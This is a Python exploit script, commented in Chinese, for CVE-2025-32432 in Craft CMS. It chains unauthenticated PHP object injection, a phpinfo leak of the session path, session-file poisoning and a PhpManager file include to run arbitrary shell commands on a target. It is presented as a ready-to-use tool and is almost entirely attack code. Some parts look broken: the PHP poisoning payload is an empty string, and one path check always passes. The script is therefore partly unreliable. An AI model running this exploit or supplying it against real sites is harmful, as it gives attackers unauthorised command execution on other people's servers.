#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ CVE-2025-32432 - Craft CMS 未授权 RCE 利用脚本(Session 投毒 + PhpManager 文件包含) 适用目标: Craft CMS 3.x <= 3.9.14 / 4.x <= 4.14.14 / 5.x <= 5.6.16 (未授权访问 actions/assets/generate-transform;修复版本:3.9.15 / 4.14.15 / 5.6.17) 参考公告:GHSA-f3gw-9ww9-jmc3(CVE-2025-32432) 利用链: 1. handle 参数进入 Craft::createObject() 造成 PHP 对象注入; 2. GuzzleHttp\\Psr7\\FnStream(_fn_close=phpinfo) 触发 phpinfo, 泄露 session.save_path; 3. 将 PHP 代码以原始(未编码) URL 写入 session 的 __returnUrl 完成投毒; 4. yii\\rbac\\PhpManager(itemFile=会话文件) 令目标 require 会话文件, 执行任意命令。 用法: python3 rce.py -u http://craft.nyx --check python3 rce.py -u http://craft.nyx -c "id; hostname" 仅限授权测试环境使用。 """ import argparse import binascii import re import sys import urllib.parse import requests import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # 关键点: 在连接层 unquote URL, 使投毒载荷以原始字符进入 HTTP 请求行, # 从而原样写入 session 文件(否则会写入 %3C%3F... 惰性文本)。 _ORIG_MAKE_REQUEST = urllib3.connectionpool.HTTPConnectionPool._make_request def _raw_make_request(self, conn, method, url, **kw): return _ORIG_MAKE_REQUEST(self, conn, method, urllib.parse.unquote(url), **kw) urllib3.connectionpool.HTTPConnectionPool._make_request = _raw_make_request POISON_PHP = "" SESSION_FALLBACK = "/var/lib/php/sessions" FNSTREAM_INFO = { "class": "craft\\behaviors\\FieldLayoutBehavior", "__class": "GuzzleHttp\\Psr7\\FnStream", "__construct()": [[]], "_fn_close": "phpinfo", } PHPMANAGER_RCE = { "class": "craft\\behaviors\\FieldLayoutBehavior", "__class": "yii\\rbac\\PhpManager", } def build_payload(gadget, session_file=None): config = dict(gadget) if session_file: config["__construct()"] = [{"itemFile": session_file}] return {"assetId": 1, "handle": {"width": 1, "height": 1, "as poc": config}} class CraftExploit: def __init__(self, base_url): self.base = base_url.rstrip("/") self.session = requests.Session() self.session.verify = False self.csrf = None self.sid = None self.save_path = SESSION_FALLBACK def init_session(self): r = self.session.get(f"{self.base}/index.php?p=admin/dashboard", timeout=15) match = re.search(r'"csrfTokenValue":"(.*?)"', r.text) self.csrf = match.group(1) if match else "" self.sid = self.session.cookies.get("CraftSessionId") if not self.sid: raise RuntimeError("未能获取 CraftSessionId,目标可能不可达或非 Craft CMS") return {"X-CSRF-Token": self.csrf} def check_and_leak_path(self, headers): r = self.session.post( f"{self.base}/index.php?p=admin/actions/assets/generate-transform", json=build_payload(FNSTREAM_INFO), headers=headers, timeout=20, ) if "PHP Version" not in r.text: return None match = re.search(r'session\.save_path(.*?)', r.text) if match and not match.group(1).startswith(""): self.save_path = match.group(1).strip() return self.save_path def poison(self, headers): encoded = urllib.parse.quote(POISON_PHP) self.session.get( f"{self.base}/index.php?p=admin/dashboard&a={encoded}", headers=headers, timeout=15, ) def execute(self, headers, cmd): wrapped = f"echo __S__; {cmd} 2>&1; echo __E__" hex_cmd = binascii.hexlify(wrapped.encode()).decode() r = self.session.post( f"{self.base}/index.php", params={"p": "admin/actions/assets/generate-transform", "c": hex_cmd}, json=build_payload( PHPMANAGER_RCE, session_file=f"{self.save_path}/sess_{self.sid}" ), headers=headers, timeout=30, ) match = re.search(r"__S__(.*?)__E__", r.text, re.S) return match.group(1).strip() if match else None def run(self, cmd, attempts=3): headers = self.init_session() if self.check_and_leak_path(headers) is None: raise RuntimeError("目标未回显 phpinfo,可能已修复 CVE-2025-32432") for _ in range(attempts): self.poison(headers) output = self.execute(headers, cmd) if output is not None: return output raise RuntimeError("会话投毒/触发失败,请重试或检查 session.save_path") def main(): ap = argparse.ArgumentParser(description="CVE-2025-32432 Craft CMS 未授权 RCE") ap.add_argument("-u", "--url", required=True, help="目标地址, 如 http://craft.nyx") ap.add_argument("-c", "--cmd", help="要执行的系统命令") ap.add_argument("--check", action="store_true", help="仅检测漏洞并泄露 session 路径") args = ap.parse_args() exploit = CraftExploit(args.url) try: if args.check or not args.cmd: headers = exploit.init_session() path = exploit.check_and_leak_path(headers) if path is None: print("[-] 目标不存在 CVE-2025-32432") sys.exit(1) print(f"[+] 目标存在 CVE-2025-32432, session.save_path={path}") return print(exploit.run(args.cmd)) except RuntimeError as exc: print(f"[-] {exc}") sys.exit(2) if __name__ == "__main__": main()